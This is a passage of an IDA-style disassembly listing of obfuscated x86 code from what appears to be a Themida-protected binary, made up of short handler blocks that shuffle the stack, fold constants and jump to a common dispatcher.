; ---------------------------------------------------------------------------


loc_596154:				; CODE XREF: sub_59196D-38D0j
		sub	edx, 788629F5h
		jmp	loc_58D193
; ---------------------------------------------------------------------------


loc_59615F:				; CODE XREF: sub_59196D+C3j
		xchg	esi, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		jmp	loc_5968FF
; ---------------------------------------------------------------------------


loc_59616A:				; CODE XREF: sub_59196D+6Aj
		xor	word ptr [esp+2Ah+var_2A], si
		jmp	loc_59692A
; ---------------------------------------------------------------------------


loc_596173:				; CODE XREF: sub_59196D-4C33j
		sub	ebp, 54DC5F85h
		sub	eax, ebp
		pop	ebp
		or	[edi+1Ch], eax
		push	[esp+3Ah+var_3C+2]
		pop	eax
		jmp	loc_591436
; ---------------------------------------------------------------------------


loc_596188:				; CODE XREF: sub_59196D-3D2Aj
					; sub_59196D+3589j
		mov	word ptr [esp+1Ch+var_1E+2], bx
		mov	bl, 6Bh
		jmp	loc_5972FF
; ---------------------------------------------------------------------------


loc_596193:				; CODE XREF: sub_59196D-2739j
		mov	eax, [esp+10h+var_12+2]
		push	77D0h
		mov	[esp+14h+var_16+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+14h+var_16+2]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59826D
; ---------------------------------------------------------------------------


loc_5961BB:				; CODE XREF: sub_59196D+256Cj
		xor	bh, 0C8h
		mov	dh, bh
		pop	ebx
		shr	dh, 3
		not	dh
		jmp	loc_592FCC
; ---------------------------------------------------------------------------


loc_5961CB:				; CODE XREF: sub_59196D+5371j
		xor	cl, 2Ah
		jmp	loc_59539F
; ---------------------------------------------------------------------------


loc_5961D3:				; CODE XREF: sub_59196D-227Aj
					; sub_59196D+3343j
		mov	esi, edx
		pop	edx
		pop	eax
		push	ecx
		push	edi
		mov	edi, 21F958F5h
		and	edi, 454D5731h
		dec	edi
		or	edi, 494734F2h
		not	edi
		sub	edi, 3FA01FC1h
		jmp	loc_59219C
; ---------------------------------------------------------------------------


loc_5961F8:				; CODE XREF: sub_59196D:loc_5948BCj
		sub	esi, 0CD37C5Dh
		jge	loc_596495
		jmp	loc_5957FE
; ---------------------------------------------------------------------------
		mov	[esp+18h+var_1A+2], ebx
		mov	ebx, esp
		or	al, 0FDh
		mov	cl, 0B7h


loc_596212:				; CODE XREF: sub_59196D-5664j
					; sub_59196D+398Dj
		add	edx, 3E4112A9h
		jmp	loc_58E630
; ---------------------------------------------------------------------------


loc_59621D:				; CODE XREF: sub_59196D+6j
		push	esp
		jmp	loc_598401
; ---------------------------------------------------------------------------


loc_596223:				; CODE XREF: sub_59196D+5000j
		pop	esp
		push	esi
		mov	esi, esp
		push	ebp
		jmp	loc_5977EE
; ---------------------------------------------------------------------------


loc_59622D:				; CODE XREF: sub_59196D-3828j
					; sub_59196D+31B8j
		shl	bl, 7
		js	loc_590081
		xor	bl, 0CDh
		mov	cl, bl
		pop	ebx
		jmp	loc_591FB9
; ---------------------------------------------------------------------------


loc_596241:				; DATA XREF: Themida_:0058B1E0o
		push	dword ptr [edi+38h]
		push	[esp+14h+var_16+2]
		push	[esp+18h+var_1A+2]
		pop	ecx
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 776329F1h
		not	edx
		shr	edx, 6
		or	edx, 2C475047h
		jmp	loc_594D8A
; ---------------------------------------------------------------------------


loc_59626C:				; CODE XREF: sub_59196D+5478j
		neg	eax
		jmp	loc_596C06
; ---------------------------------------------------------------------------


loc_596273:				; CODE XREF: sub_59196D-2206j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_596BB9
; ---------------------------------------------------------------------------


loc_596281:				; CODE XREF: sub_59196D+55D3j
		mov	esi, 644B17B2h
		and	ebx, esi
		pop	esi
		shr	ebx, 4
		sub	ebx, 27ED37B1h
		neg	ebx
		push	edx
		mov	edx, 1D129395h
		xor	ebx, edx
		pop	edx
		add	eax, ebx
		pop	ebx
		sub	eax, 101FBD89h
		add	ebp, eax
		mov	eax, [esp+18h+var_1A+2]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+14h+var_16+2]
		jmp	loc_593B4D
; ---------------------------------------------------------------------------


loc_5962B8:				; DATA XREF: Themida_:0058B1F8o
		push	[esp+14h+var_16+2]
		push	[esp+18h+var_1A+2]
		pop	edx
		push	ecx
		mov	ecx, esp
		push	ebx
		push	ebp
		mov	ebp, 4
		push	esi
		jmp	loc_590473
; ---------------------------------------------------------------------------


loc_5962CF:				; CODE XREF: sub_59196D+2306j
		push	ebp
		mov	ebp, 7B9C1F43h
		and	ebp, 3D753759h
		not	ebp
		sub	ebp, 0C6EBE8BAh
		add	ecx, ebp
		mov	ebp, [esp+1Ch+var_1E+2]
		add	esp, 4
		push	esi
		jmp	sub_58B60E
; ---------------------------------------------------------------------------


loc_5962F4:				; CODE XREF: sub_59196D+D46j
		dec	eax
		jns	loc_592CDF
		xor	eax, 0BB938F45h
		jmp	sub_58C3EF
; ---------------------------------------------------------------------------


loc_596305:				; CODE XREF: sub_59196D:loc_5933B1j
		push	ebp
		mov	ebp, 0C83404Eh
		sub	esi, ebp
		pop	ebp
		add	eax, esi
		mov	esi, [esp+18h+var_1A+2]
		jmp	loc_594504
; ---------------------------------------------------------------------------


loc_596318:				; CODE XREF: sub_59196D+1CB7j
					; sub_59196D+584Cj
		push	eax
		mov	eax, esp
		jmp	loc_590FBF
; ---------------------------------------------------------------------------


loc_596320:				; CODE XREF: sub_59196D+8D0j
		push	edi
		mov	edi, 691E5E55h
		and	edi, 2A981C44h
		sub	edi, 49BD296Dh
		push	ecx
		mov	ecx, 7D3030B4h
		xor	ecx, 36ED0BD3h
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		jmp	loc_592525
; ---------------------------------------------------------------------------


loc_596349:				; DATA XREF: Themida_:0058B0E8o
		mov	eax, [esp+0]
		push	0BF3h
		mov	[esp+3Ch+var_3C], eax
		sub	esp, 4
		mov	[esp+40h+var_40], esp
		add	[esp+40h+var_40], 4
		jmp	loc_58F0C5
; ---------------------------------------------------------------------------


loc_596366:				; CODE XREF: sub_59196D+1A64j
		push	edi
		mov	edi, 5F9E3EA6h
		mov	ecx, 5F9E3EAAh
		sub	ecx, edi
		pop	edi
		push	ecx
		mov	ecx, 7B926125h
		jmp	loc_58E001
; ---------------------------------------------------------------------------


loc_59637F:				; CODE XREF: sub_59196D+2B5Cj
		add	ebx, 32CC4715h
		sub	ebx, ecx
		sub	ebx, 32CC4715h
		mov	ecx, [esp+18h+var_1A+2]
		add	esp, 4
		sub	ebx, eax
		push	24EAh
		mov	[esp+18h+var_1A+2], eax
		push	23A16EADh
		pop	eax
		sub	ebx, 64841B89h
		sub	ebx, 2D227159h
		add	ebx, 381702B7h
		jmp	loc_598464
; ---------------------------------------------------------------------------


loc_5963BD:				; CODE XREF: sub_5914EB+17j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_591864
; ---------------------------------------------------------------------------


loc_5963CD:				; CODE XREF: sub_59196D+58F6j
		add	esp, 4
		push	5183h
		mov	[esp+18h+var_1A+2], ecx
		push	ebp
		mov	ebp, 180526BAh
		jmp	loc_58BF25
; ---------------------------------------------------------------------------


loc_5963E6:				; CODE XREF: sub_59196D-59F2j
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_58BBA2
; ---------------------------------------------------------------------------


loc_5963EF:				; CODE XREF: sub_59196D-1F8Aj
		shr	edx, 3
		jnp	loc_59094A
		jmp	loc_5967BD
; ---------------------------------------------------------------------------
		sub	edx, 41AE7914h
		sub	al, 90h


loc_596405:				; CODE XREF: sub_59196D-405Fj
		mov	[esp+3Ah+var_3C+2], edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		push	[esp+3Eh+var_40+2]
		pop	esi
		add	esp, 4
		add	edx, 4
		push	edx
		push	[esp+3Eh+var_3C+2]
		pop	edx
		pop	[esp+3Eh+var_40+2]
		pop	esp
		add	esp, 4
		sub	[esp+32h+var_32], eax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_596435:				; CODE XREF: sub_59196D+1045j
		pop	ebx
		add	esp, 4
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		jmp	loc_592F9F
; ---------------------------------------------------------------------------


loc_596453:				; CODE XREF: sub_59196D:loc_58E13Aj
		and	eax, 76A53A15h
		jb	loc_58E9EE
		jmp	loc_594631
; ---------------------------------------------------------------------------


loc_596463:				; CODE XREF: sub_59196D+6BE7j
		sub	ecx, 46F73CD7h
		add	ecx, ebp
		add	ecx, 46F73CD7h
		mov	ebp, [esp+14h+var_16+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_596524
; ---------------------------------------------------------------------------


loc_596488:				; CODE XREF: sub_59196D+88Aj
		add	eax, 1FF2BAFh
		pop	ebp
		xor	ebx, eax
		jmp	loc_58E96F
; ---------------------------------------------------------------------------


loc_596495:				; CODE XREF: sub_59196D:loc_592455j
					; sub_59196D+4891j
		jmp	loc_59718D
; ---------------------------------------------------------------------------


loc_59649A:				; CODE XREF: sub_59196D+2B9Cj
		mov	[esp-8+arg_4], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-8+arg_4]
		pop	esp
		xchg	eax, [esp-0Ch+arg_8]
		pop	esp
		add	byte ptr [esp-10h+arg_C], al
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5964BC:				; CODE XREF: sub_59196D+3E9Ej
		jns	loc_595523
		xor	ebp, 85FC28D4h
		sub	eax, 7141590Eh
		sub	eax, ebp
		push	edi
		jmp	loc_591E1F
; ---------------------------------------------------------------------------


loc_5964D5:				; CODE XREF: sub_59196D+26F7j
		xor	ebp, 7659B0C8h
		sub	[edi+24h], ebp
		pop	ebp


loc_5964DF:				; CODE XREF: sub_59196D+1DF3j
		push	4494h
		mov	[esp+18h+var_1A+2], esi
		push	ebx
		jmp	loc_590907
; ---------------------------------------------------------------------------


loc_5964ED:				; CODE XREF: sub_59196D-447Ej
		mov	ebp, eax
		jmp	loc_595DE2
; ---------------------------------------------------------------------------


loc_5964F4:				; CODE XREF: sub_59196D+3543j
		add	ecx, edi
		pop	edi
		push	2773h
		mov	[esp], ecx
		push	[esp+38h+var_36+2]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp+34h+var_36+2]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59650F:				; CODE XREF: sub_59196D-2188j
		push	ebx
		mov	bl, 5Eh
		sub	al, bl
		jmp	loc_58D6A1
; ---------------------------------------------------------------------------


loc_596519:				; CODE XREF: sub_59196D-E78j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_596524:				; CODE XREF: sub_59196D+4B16j
		xchg	ebx, [esp+18h+var_1A+2]
		pop	esp
		add	ecx, 2
		jmp	loc_596620
; ---------------------------------------------------------------------------


loc_596530:				; CODE XREF: sub_59196D+3D16j
		add	esp, 4
		add	ecx, 4
		push	eax
		push	esi
		push	12B80593h
		pop	esi
		xor	esi, 5B9314Ah
		mov	eax, esi
		jmp	loc_592D66
; ---------------------------------------------------------------------------


loc_59654E:				; CODE XREF: sub_59196D-63Ej
		mov	edi, 6CA62FEh
		sub	[esp-22h+arg_20+2], edi
		pop	edi
		mov	eax, [esp-26h+arg_20+2]
		add	esp, 4
		push	ebx
		jmp	loc_59724C
; ---------------------------------------------------------------------------


loc_596564:				; CODE XREF: sub_59196D-3C0Fj
		xor	ecx, 6DCF727Bh
		mov	ebx, ecx
		jmp	loc_593D79
; ---------------------------------------------------------------------------


loc_596571:				; CODE XREF: sub_59196D-30EAj
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		jmp	loc_58CDEC
; ---------------------------------------------------------------------------


loc_59657B:				; CODE XREF: sub_59196D+5884j
		sub	esi, 0FFFFFFFFh
		not	esi
		add	esi, 0FFFFFFFFh
		push	374Ch
		mov	[esp+0Ch+var_C], edx
		push	eax
		mov	eax, 384B6740h
		mov	edx, eax
		mov	eax, [esp+10h+var_12+2]
		jmp	loc_59715C
; ---------------------------------------------------------------------------


loc_59659B:				; CODE XREF: sub_59196D-4ED4j
		sub	ebx, 33AA6E9Bh
		mov	ecx, ebx
		jmp	loc_59556B
; ---------------------------------------------------------------------------


loc_5965A8:				; CODE XREF: sub_59196D-2599j
		push	ebx
		push	4F9F489Fh
		jmp	loc_58ED52
; ---------------------------------------------------------------------------


loc_5965B3:				; CODE XREF: sub_58D521+8j
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebp
		mov	ebp, 7DB4163Fh
		inc	ebp
		jmp	loc_58BF91
; ---------------------------------------------------------------------------


loc_5965C7:				; CODE XREF: sub_59196D-37C6j
		pop	edx
		jmp	loc_58B914
; ---------------------------------------------------------------------------


loc_5965CD:				; CODE XREF: sub_59196D-3FFDj
		mov	esp, [esp+18h+var_1A+2]
		and	byte ptr [esp+18h+var_1A+2], al
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5965D9:				; CODE XREF: sub_59196D-463Aj
		push	eax
		push	ebp
		mov	ebp, 73FE0CA0h
		mov	eax, 6D853EE8h
		xor	eax, ebp
		pop	ebp
		jmp	loc_59396C
; ---------------------------------------------------------------------------


loc_5965ED:				; CODE XREF: Themida_:0058EEA0j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+52h+var_54+2]
		jmp	loc_58DF23
; ---------------------------------------------------------------------------


loc_596604:				; CODE XREF: sub_59196D+3423j
		xor	edx, 62F452ABh
		sub	edx, 42E636BFh
		jmp	loc_5910E1
; ---------------------------------------------------------------------------


loc_596615:				; CODE XREF: sub_59196D-272Ej
		and	ecx, 5C1D5D63h
		jmp	loc_590007
; ---------------------------------------------------------------------------


loc_596620:				; CODE XREF: sub_59196D+4BBEj
		xchg	ecx, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		mov	ax, word ptr [esp+14h+var_16+2]
		push	edi
		push	353Dh
		mov	[esp+1Ch+var_1E+2], esp
		add	[esp+1Ch+var_1E+2], 4
		jmp	loc_58FA61
; ---------------------------------------------------------------------------


loc_59663C:				; CODE XREF: sub_59196D-4F07j
		pop	ecx
		push	3EFCh
		jmp	loc_58C4D1
; ---------------------------------------------------------------------------


loc_596647:				; CODE XREF: sub_59196D-8FBj
		pop	ecx
		add	al, 2Ah
		add	al, bl
		push	ecx
		mov	cl, 0E4h
		xor	cl, 0CEh
		jmp	loc_58D38C
; ---------------------------------------------------------------------------


loc_596657:				; CODE XREF: Themida_:0058B716j
		push	ebx
		mov	ebx, 41FC5928h
		jmp	loc_595B90
; ---------------------------------------------------------------------------


loc_596662:				; CODE XREF: sub_59196D+601Ej
		sub	esp, 4
		jmp	loc_593676
; ---------------------------------------------------------------------------


loc_59666D:				; CODE XREF: sub_59196D-13F2j
		mov	dh, 0Ch
		or	bh, dh
		pop	edx
		dec	bh
		jmp	loc_590384
; ---------------------------------------------------------------------------


loc_596679:				; CODE XREF: sub_59196D-5E18j
		add	ebx, eax
		push	7583h
		mov	[esp+20h+var_22+2], ebp
		push	ebx
		jmp	loc_591D40
; ---------------------------------------------------------------------------


loc_596689:				; CODE XREF: sub_59196D+4DC5j
		mov	edi, 626C5D58h
		jmp	loc_58E5E2
; ---------------------------------------------------------------------------


loc_596693:				; CODE XREF: sub_5902D0+10j
		push	ecx
		jmp	loc_58F000
; ---------------------------------------------------------------------------


loc_596699:				; CODE XREF: sub_59196D-5A7Ej
		mov	edi, esi
		mov	esi, [esp+14h+var_16+2]
		jmp	loc_58E2B7
; ---------------------------------------------------------------------------


loc_5966A3:				; CODE XREF: sub_59196D-2A80j
		pop	ebx
		xor	edi, [esp+32h+var_32]
		xor	[esp+32h+var_32], edi
		xor	edi, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		mov	word ptr [esp+32h+var_32], dx
		push	ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5966BC:				; CODE XREF: sub_59196D+F9Fj
		mov	[esp+36h+var_36], edx
		push	eax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5966C6:				; CODE XREF: sub_59196D-D92j
		push	ecx
		mov	ch, 0F8h
		mov	dh, ch
		pop	ecx
		add	dh, cl
		mov	ecx, [esp+1Ch+var_1E+2]
		add	esp, 4
		inc	dh
		dec	dh
		jmp	loc_58CAAB
; ---------------------------------------------------------------------------


loc_5966E0:				; CODE XREF: sub_59196D-225Aj
		add	esp, 4
		shr	ebx, 5
		inc	ebx
		shr	ebx, 5
		and	ebx, 628C6B4Dh
		sub	ebx, 9039CFE7h
		add	edx, ebx
		pop	ebx
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5966FE:				; CODE XREF: sub_59196D+87Ej
		xchg	eax, edx
		jmp	loc_590499
; ---------------------------------------------------------------------------
dword_596704	dd 62B753ACh, 80E1B551h, 0B35306C5h, 38F380B5h,	285BDD00h
					; DATA XREF: Themida_:0058B0B8o
		dd 8AE959E8h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59671F:				; CODE XREF: sub_59196D+233Aj
		xchg	eax, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		mul	ecx
		push	75CDh
		mov	[esp+28h+var_2A+2], ebx
		push	esp
		pop	ebx
		push	edi
		jmp	loc_596689
; ---------------------------------------------------------------------------


loc_596737:				; CODE XREF: sub_59196D-26B0j
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 619C4806h
		and	edi, 238E31ACh
		sub	edi, 35019B2h
		or	edi, 43D9543Ah
		dec	edi
		add	edi, 0A004098Bh
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_59823A
; ---------------------------------------------------------------------------


loc_596769:				; CODE XREF: sub_59196D-5F31j
		pop	ebx
		jmp	loc_593545
; ---------------------------------------------------------------------------


loc_59676F:				; CODE XREF: sub_58E3B7+9j
		xor	edx, 306B7620h
		jmp	loc_595CE2
; ---------------------------------------------------------------------------


loc_59677A:				; CODE XREF: sub_59196D-3E06j
		mov	[esp+30h+var_32+2], ebx
		push	edi
		mov	edi, 1D722FC6h
		jmp	loc_593555
; ---------------------------------------------------------------------------


loc_596788:				; CODE XREF: sub_59196D-36CDj
		mov	esi, 1AFD6E41h
		add	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 43CA131Ch
		xor	edx, ebp
		jmp	loc_597AAC
; ---------------------------------------------------------------------------


loc_59679D:				; CODE XREF: sub_59196D+3204j
		and	esi, ebx
		pop	ebx
		jmp	loc_596A2E
; ---------------------------------------------------------------------------


loc_5967A5:				; CODE XREF: sub_59196D-346Fj
		add	bl, dl
		jmp	loc_593986
; ---------------------------------------------------------------------------


loc_5967AC:				; CODE XREF: sub_59196D-411j
		xor	ebx, ebp
		pop	ebp
		add	ecx, ebx
		pop	ebx
		add	ecx, 2
		jmp	loc_596942
; ---------------------------------------------------------------------------


loc_5967BD:				; CODE XREF: Themida_:0058F9DDj
					; sub_59196D+4A8Bj
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, 4
		jmp	loc_58B3C0
; ---------------------------------------------------------------------------


loc_5967D4:				; CODE XREF: sub_59196D-5671j
		sub	cl, bl
		mov	ebx, [esp+18h+var_1A+2]
		add	esp, 4
		push	ebx
		mov	bh, 6Fh
		add	bh, 7Eh
		and	bh, 0D2h
		jmp	loc_5947D1
; ---------------------------------------------------------------------------


loc_5967EA:				; CODE XREF: sub_59196D+3B91j
		push	[esp+20h+var_1E+2]
		push	[esp+24h+var_26+2]
		pop	edx
		add	esp, 4
		pop	[esp+20h+var_22+2]
		pop	esp
		mov	[esp+18h+var_1A+2], edx
		mov	edx, 18072CB9h
		mov	esi, edx
		pop	edx
		jmp	loc_59701B
; ---------------------------------------------------------------------------


loc_596809:				; CODE XREF: sub_59196D-367Aj
		add	eax, ecx
		pop	ecx
		add	eax, 2
		jmp	loc_59516B
; ---------------------------------------------------------------------------


loc_596814:				; CODE XREF: sub_59196D-560j
		mov	edx, 10914807h
		add	edx, 70F83CE4h
		jmp	loc_594B3B
; ---------------------------------------------------------------------------


loc_596824:				; CODE XREF: sub_59196D-3DF9j
		push	eax
		jmp	loc_5971BE
; ---------------------------------------------------------------------------


loc_59682A:				; CODE XREF: sub_59196D:loc_597188j
		not	ebx
		neg	ebx
		jbe	loc_58FB72
		xor	ebx, 8F73D8A5h
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+34h+var_36+2]


loc_596840:				; CODE XREF: sub_59196D-313Fj
		sub	esi, 4
		jmp	loc_594069
; ---------------------------------------------------------------------------


loc_596848:				; CODE XREF: Themida_:0058EDD0j
		push	edx
		jmp	loc_591E45
; ---------------------------------------------------------------------------


loc_59684E:				; CODE XREF: sub_59196D-397Dj
		push	[esp+2Eh+var_2E]
		pop	ecx
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+2Eh+var_2E], eax
		push	edi
		push	[esp+32h+var_2E]
		pop	edi
		pop	[esp+32h+var_32]
		push	1E2Dh
		jmp	loc_58C58A
; ---------------------------------------------------------------------------


loc_596876:				; CODE XREF: sub_59196D-2EAj
		add	esi, edi
		jmp	loc_58B490
; ---------------------------------------------------------------------------


loc_59687D:				; CODE XREF: sub_59196D+50CFj
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp+34h+var_36+2], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp+34h+var_36+2]
		mov	esp, [esp+34h+var_36+2]
		shl	eax, cl
		push	394Ch
		mov	[esp+0], edi
		push	ebp
		mov	ebp, 655947ABh
		sub	ebp, 655947AAh
		jmp	loc_591797
; ---------------------------------------------------------------------------


loc_5968B3:				; CODE XREF: Themida_:0059149Cj
		add	ebp, 25CD069Ah
		xor	ebp, 0B590ECACh
		add	esi, ebp
		pop	ebp
		add	esi, edi
		jmp	loc_58DA68
; ---------------------------------------------------------------------------


loc_5968C9:				; CODE XREF: sub_59196D+2EBEj
		xor	ebx, eax
		sub	esp, 4
		mov	[esp+24h+var_26+2], eax
		jmp	loc_58B5CA
; ---------------------------------------------------------------------------


loc_5968D6:				; CODE XREF: sub_59196D+E4Dj
		dec	ah
		jo	loc_596BF6
		push	edx
		mov	dh, 76h
		sub	dh, 24h
		xor	dh, 6Dh
		add	ah, dh
		pop	edx
		mov	bl, 15h
		xor	bl, ah
		mov	eax, [esp+0]
		add	esp, 4
		add	al, bl
		pop	bx
		sub	al, 6Bh
		jmp	loc_59180E
; ---------------------------------------------------------------------------


loc_5968FF:				; CODE XREF: sub_59196D+47F8j
		bts	word ptr [esp+1Eh+var_1E], ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59690A:				; CODE XREF: sub_59196D+1FB9j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_58F587
		push	eax
		mov	eax, 20h
		push	esi
		mov	esi, 7BD620AFh
		sub	eax, esi
		pop	esi
		add	eax, edi
		jmp	loc_59083B
; ---------------------------------------------------------------------------


loc_59692A:				; CODE XREF: sub_59196D+4801j
		xor	si, word ptr [esp+2Ah+var_2A]
		xor	word ptr [esp+2Ah+var_2A], si
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_596937:				; CODE XREF: sub_59196D-3A5Fj
		add	esi, ecx
		pop	ecx
		xor	esi, [esp+34h+var_36+2]
		jmp	loc_59371A
; ---------------------------------------------------------------------------


loc_596942:				; CODE XREF: sub_59196D+4E4Bj
		xchg	ecx, [esp+18h+var_1A+2]
		pop	esp
		rol	byte ptr [esp+14h+var_16+2], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_59694F:				; CODE XREF: sub_59196D-4864j
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+10h+var_12+2], esi
		mov	esi, 4
		jmp	loc_59062A
; ---------------------------------------------------------------------------


loc_596962:				; CODE XREF: sub_59196D+2E9Cj
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+0Ah+var_C+2]
		jmp	loc_596223
; ---------------------------------------------------------------------------


loc_596972:				; CODE XREF: sub_59196D-403Ej
					; sub_59196D+6261j
		push	[esp+1Ch+var_1E+2]
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_591786
; ---------------------------------------------------------------------------


loc_596986:				; CODE XREF: sub_59196D+3AA3j
					; sub_59196D+5C94j
		and	edi, edx
		jmp	loc_58E90A
; ---------------------------------------------------------------------------


loc_59698D:				; CODE XREF: sub_59196D-47DFj
		mov	dh, 3Eh
		jmp	loc_58ECE0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+10h+var_12+2], cl
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_5969A3:				; CODE XREF: sub_59196D-24D2j
		add	edx, 0DC43A7Dh
		jmp	loc_58C3FA
; ---------------------------------------------------------------------------


loc_5969AE:				; CODE XREF: sub_59196D+55C8j
		add	esp, 4
		mov	eax, edi
		jmp	loc_5935CF
; ---------------------------------------------------------------------------


loc_5969BB:				; CODE XREF: sub_59196D-1CD8j
		pop	esp
		mov	[esp+8+var_8], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58E3F2
; ---------------------------------------------------------------------------


loc_5969CC:				; CODE XREF: sub_59196D+2D74j
		pop	ebp
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		mov	esp, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], edx
		jmp	loc_592547
; ---------------------------------------------------------------------------


loc_5969E4:				; CODE XREF: sub_59196D-265Bj
		pop	esp
		jmp	loc_58D503
; ---------------------------------------------------------------------------


loc_5969EA:				; CODE XREF: sub_59196D-3069j
					; sub_59196D+5898j
		push	edx
		push	[esp+22h+var_1E]
		mov	edx, [esp+26h+var_26]
		push	edi
		mov	edi, esp
		jmp	loc_58E0CA
; ---------------------------------------------------------------------------


loc_5969FA:				; CODE XREF: sub_59196D+69E6j
		sub	word ptr [esp+2Ah+var_2A], ax
		pushf
		jmp	loc_58B37B
; ---------------------------------------------------------------------------


loc_596A04:				; CODE XREF: Themida_:0058FF20j
		sub	esp, 4
		mov	[esp+32h+var_32], esp
		add	[esp+32h+var_32], 4
		mov	eax, [esp+32h+var_32]
		add	esp, 4
		push	ecx
		mov	ecx, 7B5350h
		sub	esp, 4
		jmp	loc_58D880
; ---------------------------------------------------------------------------


loc_596A2E:				; CODE XREF: sub_59196D+4E33j
		sub	esi, 0B5E1F8B6h
		jmp	loc_59720A
; ---------------------------------------------------------------------------


loc_596A39:				; CODE XREF: sub_59196D-643Cj
		sub	edx, 4
		jmp	loc_59687D
; ---------------------------------------------------------------------------


loc_596A41:				; CODE XREF: sub_59196D-AFCj
					; sub_59196D+22ABj
		mov	[esp+12h+var_12], edx
		mov	edx, 0B14AF15Dh
		mov	eax, edx
		pop	edx
		add	eax, ecx
		jmp	loc_58E567
; ---------------------------------------------------------------------------


loc_596A53:				; CODE XREF: sub_59196D-2094j
		push	ebx
		push	5B451FAEh
		pop	ebx
		and	ebx, 3B781E3Dh
		ja	loc_58F666
		xor	ebx, 1B401E2Eh
		mov	eax, ebx
		pop	ebx
		or	dl, 0C3h
		pop	esi


loc_596A73:				; CODE XREF: sub_59196D-3D9Dj
		push	[esp-0Ah+arg_4+2]
		push	[esp-6+arg_0+2]
		mov	eax, [esp+0]
		push	eax
		mov	eax, esp
		jmp	loc_58D373
; ---------------------------------------------------------------------------


loc_596A84:				; CODE XREF: sub_59196D+678Bj
		pop	ebp
		jmp	loc_58DF8C
; ---------------------------------------------------------------------------


loc_596A8A:				; CODE XREF: sub_59196D+6ACBj
		mov	[esp+0], edi
		mov	edi, 4
		add	ebp, edi
		push	dword ptr [esp+0]
		jmp	loc_592A3A
; ---------------------------------------------------------------------------


loc_596A9C:				; CODE XREF: sub_59196D+37DFj
		shl	ebx, 5
		jnz	loc_58C325
		inc	ebx
		and	ebx, 3D095FB5h
		add	ebx, 0CBF7B1E3h


loc_596AB2:				; CODE XREF: sub_59196D+66E5j
		push	[esp+1Ch+var_1A+2]
		mov	eax, [esp+20h+var_22+2]
		jmp	sub_590BE0
; ---------------------------------------------------------------------------


loc_596ABE:				; CODE XREF: sub_59196D-3080j
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebp
		jmp	loc_592AC9
; ---------------------------------------------------------------------------


loc_596ACC:				; CODE XREF: sub_59196D-1287j
		pop	ecx
		push	ecx
		mov	ecx, ebx
		mov	edi, ecx
		pop	ecx
		pop	ebx
		push	eax
		mov	eax, 46173E99h
		jmp	loc_598117
; ---------------------------------------------------------------------------


loc_596ADF:				; CODE XREF: sub_59196D-2D74j
		push	ebp
		jmp	loc_592959
; ---------------------------------------------------------------------------


loc_596AE5:				; CODE XREF: sub_59196D-502Bj
		push	[esp+3Eh+var_40+2]
		jmp	loc_58EFF0
; ---------------------------------------------------------------------------


loc_596AED:				; CODE XREF: sub_59196D-4C3j
		xor	esi, 3D825892h
		add	ebx, 585F0482h
		add	ebx, esi
		sub	ebx, 585F0482h
		mov	esi, [esp+0Ah+var_C+2]
